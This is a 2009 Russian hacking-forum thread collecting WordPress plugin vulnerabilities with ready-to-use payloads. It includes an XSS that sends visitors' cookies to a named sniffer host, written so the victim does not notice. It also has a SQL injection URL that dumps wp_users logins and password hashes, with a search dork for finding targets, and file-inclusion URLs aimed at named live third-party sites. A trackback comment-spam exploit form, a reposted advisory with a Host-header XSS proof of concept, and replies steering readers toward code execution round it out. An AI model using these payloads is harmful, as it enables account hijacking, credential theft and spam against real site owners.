Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

05.03.2009, 21:14
|
|
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
Провел на форуме: 1351948
Репутация:
325
|
|
Модуль на WordPress - Appstore Charts
Version v. 1.2
Уязвимость как всегда из за невнимательности разработчиков... Как и в прошлом модуле используются сторонние разработки, в данном случае Magpie RSS - PHP RSS Parser(подробнее можно узнать тут: http://magpierss.sourceforge.net/)
Папка Magpie RSS полностью содержится в составе модуля, а вместе с ним и пробные срипты =) Вобщем уязвимость в следующих местах:
1. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php
Уязвимый код:
PHP код:
$url = $_GET['rss_url'];
[...]
if ( $url ) {
echo "displaying: $url<p>";
$rss = fetch_rss( $url );
echo slashbox ($rss);
}
echo "<pre>";
print_r($rss);
echo "</pre>";
Для проверки можно обратиться:
Код:
http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>alert()</script>
Но можно увидеть что на странице появились ошибки(в частности раскрытие путей) и цель может испугаться или догадаться, и сменить пароль я лично вижу такой выход из ситации =) просто не дать ему увидеть:
Код:
http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>document.location.href="http://addres-snifera.ru/s.gif?"%2Bdocument.cookie</script>
+ на %2B обязательно иначе не пройдет...
2. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_debug.php
Уязвимый код:
PHP код:
if ( isset($_GET['url']) ) {
$url = $_GET['url'];
}
else {
$url = 'http://magpierss.sf.net/test.rss';
}
[...]
$rss = fetch_rss( $url );
if ($rss) {
echo "<h3>Example Output</h3>";
echo "Channel: " . $rss->channel['title'] . "<p>";
echo "<ul>";
foreach ($rss->items as $item) {
$href = $item['link'];
$title = $item['title'];
echo "<li><a href=$href>$title</a></li>";
}
echo "</ul>";
}
else {
echo "Error: " . magpie_error();
}
?>
Использование аналогично номеру 1 =) только rss_url на url меняется...
|
|
|

07.03.2009, 14:02
|
|
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
Провел на форуме: 1351948
Репутация:
325
|
|
Уязвимости в модуле WP Wall
Version: 1.4.2(возможно и ниже)
1.Пассивная XSS
Условия: register_globals = On
Уязвимость в файле wp-wall\wp-wall-widget-control.php
Уязвимый код:
Код HTML:
<p>Visit <a href="options-general.php?page=wp-wall.php">WP Wall options</a> page for more options.</p>
<p><label for="wall_title">Title: <input name="wall_title" type="text" value="<?php echo $title; ?>" /></label></p>
<input type="hidden" id="wall_submit" name="wall_submit" value="1" />
Пример использования:
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget-control.php?title="><script>alert()</script>
2. Еще одна пасивная XSS:
Условия: register_globals = On
Уязвимость в файле wp-wall\wp-wall-widget.php
Уязвимый код:
PHP код:
<?php
echo $before_widget;
echo $before_title . $wall_title. $after_title;
?>
Пример использования:
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_widget=<script>alert()</script>
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_title=<script>alert()</script>
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?wall_title=<script>alert()</script>
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?after_title=<script>alert()</script>
Но как и вслучае с модулем Appstore Charts чуть ниже выскакивает ошибка, для того чтобы никого не смущать можно сделать то же самое что и там, к примеру:
Код:
<script>document.location.href="http://addres-snifera.ru/s.gif?"+document.cookie</script>
3.Раскрытие путей и не только(для всех модулей):
Америку не открою наверное, но расскажу свои мысли по поводу плагинов WP... Вобщем никто практически не закрывает для взора папку /wp-content/plugins/ как по мне так это серьезный недочет! Ну скажем когда мы можем ее просматривать, уже видно названия всех плагинов, а это в свою очередь упрощает взлом сайта с установленным WP. Скажем раскрытие путей есть в каждом плагине! Достаточно обратится к любому файлу где есть add_action Пример:
PHP код:
add_action("widgets_init", array('itunescharts_widget', 'register'));
И уже видим раскрытие путей! К примеру:
Обратившись:
Код:
http://ubuntu-tutorials.com/wp-content/plugins/WPRP/wp_related_posts.php
видим:
Код:
Fatal error: Call to undefined function add_action() in /var/www/virtual/ubuntu-tutorials.com/html/wp-content/plugins/WPRP/wp_related_posts.php on line 33
, этим страдают поголовно все модули которые я видел... А имея список плагинов мы можем уже подобрать возможные пути взлома, используя уязвимости для плагинов, если таковые имеются!
Теперь о раскрытии путей, иногда может потребоваться, но как я выше написал, в WP насчет этого можно не беспокоится... =) Я не пишу о раскрытии в модулях WP только потому что оно практически везде, покажу на примере WP Wall:
Раскрытие есть в 3 файлах из 4:
1. В файле wp-wall\wp-wall.php есть проверка на версию, если обойти проверку просто обратившись:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall.php?wp_version=2.7
видим раскрытие...
2. В файле wp-wall\wp-wall-widget.php просто обратившись к нему уже лицезреем раскрытие...
3. В файле wp-wall\wp-wall-ajax.php обратившись к нему
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-ajax.php?refresh=1
видим раскрытие...
Вобщем расклад не очень, но само раскрытие без уязвимостей в модулях безобидно =)
|
|
|

07.03.2009, 15:29
|
|
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
Провел на форуме: 1351948
Репутация:
325
|
|
Вообще хотелось бы разобраться в сложившейся ситуации... Совсем запутался... Вобщем я заметил что при xss в модулях WP в куках пароль не выводится, и получется что они бессмысленны? Объясните кто нить это, и что вообще делать дальше? Забить на xss в модулях?
|
|
|

07.03.2009, 18:45
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
Вообще хотелось бы разобраться в сложившейся ситуации... Совсем запутался... Вобщем я заметил что при xss в модулях WP в куках пароль не выводится, и получется что они бессмысленны? Объясните кто нить это, и что вообще делать дальше? Забить на xss в модулях?
На авторизационные куки ставится флаг httpOnly, если не ошибаюсь начиная с версии 2.7, поэтому XSS действительно может быть мало чем полезен. Ищи выполнение кода 
|
|
|

07.03.2009, 19:24
|
|
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме: 466673
Репутация:
784
|
|
Даже скуль-инъекция может быть в >=2.5 полезна, если в конфиге секретный ключ оставлен дефолтный, просто тащим secret_key из базы и генерим на основе его куки.
Так что, +500 к словам Разора, прекращай страдать ерундой с XSS в плагинах)
SQL inj && Code exec && LFI && RFI = is_our_way
|
|
|
WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS) Vulnerability |

12.03.2009, 23:33
|
|
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме: 466673
Репутация:
784
|
|
WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS) Vulnerability
I. VULNERABILITY
-------------------------
WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS)
Vulnerability
II. BACKGROUND
-------------------------
WordPress MU, or multi-user, allows to run unlimited blogs with a
single install of wordpress. It is most famously used for
WordPress.com where it serves tens of millions of hits on hundreds of
thousands of blogs each day. Also is used in many other sites like
Harvard University and Le Monde.
III. DESCRIPTION
-------------------------
WordPress MU prior to version 2.7 fails to sanitize the Host header
correctly in choose_primary_blog function and is therefore prune to
XSS attacks.
Web Sites running in a name based virtual hosting setup are not
affected while they are not the default virtual host.
IV. PROOF OF CONCEPT
-------------------------
The snippet of vulnerable code:
In wp-includes/wpmu-functions.php, concretly in the function
choose_primary_blog:
1830 function choose_primary_blog() {
1831 global $current_user;
1832 ?>
1833 <table class="form-table">
1834 <tr>
1835 <th scope="row"><?php _e('Primary Blog'); ?></th>
1836 <td>
1837 <?php
1838 $all_blogs = get_blogs_of_user( $current_user->ID );
1839 if( count( $all_blogs ) > 1 ) {
1840 $primary_blog = get_usermeta($current_user->ID,
'primary_blog');
1841 ?>
1842 <select name="primary_blog">
1843 <?php foreach( (array) $all_blogs as $blog ) { ?>
1844 <option value='<?php echo $blog->userblog_id
?>'<?php if( $primary_blog == $blog->userblog_id ) echo '
selected="selected"' ?>>http://<?php echo $blog->domain.$blog->path
?></option>
1845 <?php } ?>
1846 </select>
1847 <?php
1848 } else {
1849 echo $_SERVER['HTTP_HOST']; <- HERE
1850 }
1851 ?>
1852 </td>
1853 </tr>
1854 </table>
1855 <?php
1856 }
The line 1849 contains the affected code "echo $_SERVER['HTTP_HOST'];"
and is possible to inject HTML and script code crafting HTTP Host header:
PoC:
$ curl -H "Cookie: my cookies here" -H "Host: <body
onload=alert(String.fromCharCode(88,83,83))>"
http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html
The javascript code will be executed in the context of the victim
browser, this can be exploited to steal cookies and escalate
privileges to administrator.
Tested with Wordpress MU 2.6.5, Apache 2.2 and Mozilla Firefox 3.0.6
V. BUSINESS IMPACT
-------------------------
The impact is the attacker can gain administrator privileges on the
application.
VI. SYSTEMS AFFECTED
-------------------------
Versions prior to 2.7 are affected
VII. SOLUTION
-------------------------
Upgrade to version 2.7 of wordpress multi-user. It can be downloaded
from http://mu.wordpress.org
VIII. REFERENCES
-------------------------
http://mu.wordpress.org
IX. CREDITS
-------------------------
This vulnerability has been discovered
by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
X. REVISION HISTORY
-------------------------
December 03, 2008: Initial release
March 02, 2009: More details added
XI. DISCLOSURE TIMELINE
-------------------------
December 03, 2008: Vendor contacted
December 03, 2008: MU trunk code fixed
January 28, 2008: WordPress MU 2.7 released
March 10, 2009: Vulnerability published by
Internet Security Auditors (www.isecauditors.com)
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.
#http://milw0rm.com/exploits/8196
|
|
|

21.03.2009, 09:32
|
|
Новичок
Регистрация: 31.01.2009
Сообщений: 22
Провел на форуме: 451572
Репутация:
34
|
|
Wordpress Plugin fMoblog Remote SQL Injection Vulnerability
Код:
Exploit:
http://www.site.com/?page_id=[valid_id]&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users--
Dork: inurl:"Gallery powered by fMoblog"
http://www.milw0rm.com/exploits/8229
|
|
|

24.04.2009, 03:48
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
Честно сказать нашёл случайно в нете и оч удивился что нигде не описания
wp-lytebox
http://grupenet.com/2007/08/03/wp-lytebox/
PHP код:
if(!isset($pg)) {
include("pages/main.txt");
} elseif(isset($pg)) {
include("pages/".$pg.".txt");
}
Ну тут конечно надобы написатт что требуется magic_quotes_gpc=off, но я всё таки нашёл сайтег где можно обойти
http://seimweddings.com/photography/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../etc/hosts%00
http://kateherrick.com/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../../etc/hosts {тут 5000 слешей}
Кстати /etc/passwd не инклудится вообще)
|
|
|

25.05.2009, 00:05
|
|
Новичок
Регистрация: 07.05.2009
Сообщений: 20
Провел на форуме: 86381
Репутация:
16
|
|
Для коллекции..
Target: Simple:Press Forum v3.1.3 [WP: v2.04 and above]
Off.page: www.stuff.yellowswordfish.com/simplepress-forum}
Xss: site.xxx/forum/?forum=all&value=<script>alert(document.cookie)</script>%251&search=1
|
|
|
WordPress Comments Html Spam Vulnerability |

27.05.2009, 20:03
|
|
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме: 466673
Репутация:
784
|
|
WordPress Comments Html Spam Vulnerability
Итак, начинаю постить найденные мной уязвимости WordPress, опубликованные в Хакере.
----
1. WordPress Comments Html Spam Vulnerability (1.5<=WordPress<=2.7.1)
Итак, перед тобой первая неопубликованная уязвимость, которую я назвал "WordPress Comments Html Spam Vulnerability".
Уязвимость затрагивает все версии движка, начиная от 1.5 и заканчивая последней (на момент написания статьи) 2.7.1.
Давай заглянем в исходники ВордПресса. Открывай файл ./wp-includes/comment.php и находи следующий код:
Код:
function check_comment($author, $email, $url, $comment, $user_ip, $user_agent, $comment_type) {
...
if ( 'trackback' == $comment_type || 'pingback' == $comment_type ) { // check if domain is in blogroll
$uri = parse_url($url);
$domain = $uri['host'];
$uri = parse_url( get_option('home') );
$home_domain = $uri['host'];
if ( $wpdb->get_var($wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT 1", '%'.$domain.'%')) || $domain == $home_domain )
return true;
else
return false;
}
...
}
Смысл этого кода состоит в том, что:
1. Блог смотрит на URL трэкбека, парсит его с помощью parse_url (подробно о том, что такое Trackback, ищи в моей прошлогодней статье "Спамом по вебу");
2. Если хост трэкбэка присутствует в блогролле (сборник ссылок на твоем блоге), то функция check_comment() вернет true;
3. Если комментарий успешно проходит через check_comment(), то сразу начинает отображаться под постом, нет - должен пройти премодерацию.
В этом занимательном коде есть один тонкий нюанс: разработчики WordPress просто-напросто не знают, как работает функция parse_url.
Цитата с http://www.php.net/parse_url: "This function is not meant to validate the given URL".
Эти слова подразумевают то, что parse_url() элементарно не проверяет валидность переданного адреса! То есть мы можем передать в нее что-то вроде "http://%/suck_wordpress", в результате чего переменная $uri['host'] станет равной "%".
Далее, как ты уже догадался, наш evil-хост переместится в sql-запрос, который примет следующий вид:
Код:
"SELECT link_id FROM wp_links WHERE link_url LIKE '%%%' LIMIT 1"
Так как этот запрос всегда будет возвращать true, наш спам-комментарий априори будет считаться зааппрувленным 
Но и это еще не все!
Для работы с трекбеком используется файл ./wp-trackback.php, в котором наше тело комментария ($excerpt) попадает в такую функцию:
Код:
function wp_html_excerpt( $str, $count ) {
$str = strip_tags( $str );
$str = mb_strcut( $str, 0, $count );
// remove part of an entity at the end
$str = preg_replace( '/&[^;\s]{0,6}$/', '', $str );
return $str;
}
Казалось бы, передать ссылку здесь невозможно. Но нерадивые разработчики снова не учли здесь несколько нюансов:
1. strip_tags() успешно пропускает через себя теги вроде "< br / >" (то есть содержащие в себе пробелы);
2. kses фильтры успешно нормализуют html-теги, содержащие в себе эти самые пробелы.
И вот, исходя из этой информации, можно придумать конечный эксплойт:
Код:
<html>
<form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post">
Тайтл: <input name="title" value="commenter"/><br/>
URL:<input name="url" value="http://%/la.com"/><br/>
Comment:<input name="excerpt" value=""/><br/>
<input name="blog_name" value="Blog" /><br/>
<input type="submit" value="ok"/>
</form>
</html>
Где в поле "Comment" вставляем:
Код:
< b >< a href="http"//ya.ru">Купить слона< / a >< / b >
В итоге, на нужном блоге мы получим зааппрувленный комментарий с выделенной жирным ссылкой "Купить слона".
Единственное замечание: этот способ в SEO годен только для Yahoo, Яндекса, MSN, так как в коде ссылки добавляется rel="nofollow", благодаря которому всемогущий Гугл не засчитывает ссылку.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|